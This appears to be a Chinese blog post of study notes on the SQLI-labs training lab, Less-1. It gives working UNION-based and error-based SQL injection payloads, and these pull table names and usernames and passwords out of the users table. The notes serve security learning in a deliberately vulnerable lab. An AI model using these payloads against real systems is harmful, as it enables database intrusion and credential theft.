前言

参考:

SQLI labs 靶场精简学习记录

https://github.com/Audi-1/sqli-labs

工具方面可用老版本的 Hackerbar,以及抓包工具 Burpsuite

Less-1

可先查看数据库的记录次数

  • 一直增大 id 的值,当 id 的值大于 14,得到的是一个没有用户名和密码的空白页面,这意味着数据库只有 14 条记录

    • ?id=1
      ……
      ?id=14
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10

      **但是我们并不知道开发者具体是怎样封装 id 参数值的。所以得先找封装形式**

      - 使用基于错误返回的 SQL 注入,单引号`'`或者转义符`\`

      > 通过转义字符来找出 参数封装形式,在MYSQL中 '\'(反斜杠)被用来转义一个字符。转义一个字符意味着取消该字符的特殊用途。使用转义字符可以得到更清楚的图片。

      - ```sql
      ?id=1'
      ?id=1\

image-20221122232346801

less-1 到 less-4 的封装形式
  • 破坏查询的同时,用--+修复它的语法错误,-- 是 SQL 的注释语句
    • 输入 1'--+
    • 或者输入 1'--%20(%20 URL编码为空格)
    • 或者输入 1'%23 (%23 URL编码为 # )
1
SELECT * from table_name WHERE id='1'--+' LIMIT 0,1

使用联合查询

接下来在引号和 --+ 之间添加查询来获取数据库中的信息

  • 通过order by 1来查询有几列,之所以需要知道数据库有几列是因为联合查询 union 规定的,得知总共有 3 列

    • ?id=1' order by 1 --+ --> 返回正确

    • ?id=1' order by 4 --+ --> 返回错误

1
2
3
4
-- UNION,没有错误
?id=1' union select 1,2,3 --+

SELECT * from table_name WHERE ?id='1' union select 1,2,3 --+'

但是我们得到的是第一个查询的结果集,为了将第二个查询的结果显示在屏幕上,我们必须将第一条查询的结果集置为EMPTY。这点可通过给定 id 一个不存在的值来实现。我们可以将 id 的值设为负或者大于14,因为前面已经发现了数据库中只有14条记录。

union

1
2
3
4
5
?id=-1' union select 1,2,3 --+
或者
?id=15' union select 1,2,3 --+

SELECT * from table_name WHERE ?id='-1' union select 1,2,3 --+'

数据库的版本信息

1
2
3
4
-- 数据库的版本信息
?id=-1' union select 1,2,version() --+
-- 正在使用的数据库信息和当前后端所使用的数据库的版本信息
?id=-1' union select 1,database(),version() --+

基于错误返回的SQL查询

基于联合查询的SQL注入

为了让联合注入工作,首先要知道数据库中的表名,键入

1
2
3
4
5
6
7
8
9
10
11
12
id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+

-- 拆解
id=-1'
union
select 1,table_name,3
from information_schema.tables
where table_schema=database() --+


id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

Your Login name:emails,referers,uagents,users
Your Password:3

注入

联合查询

1
2
3
?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

报错注入

1
2
3
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

— 未完待续


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k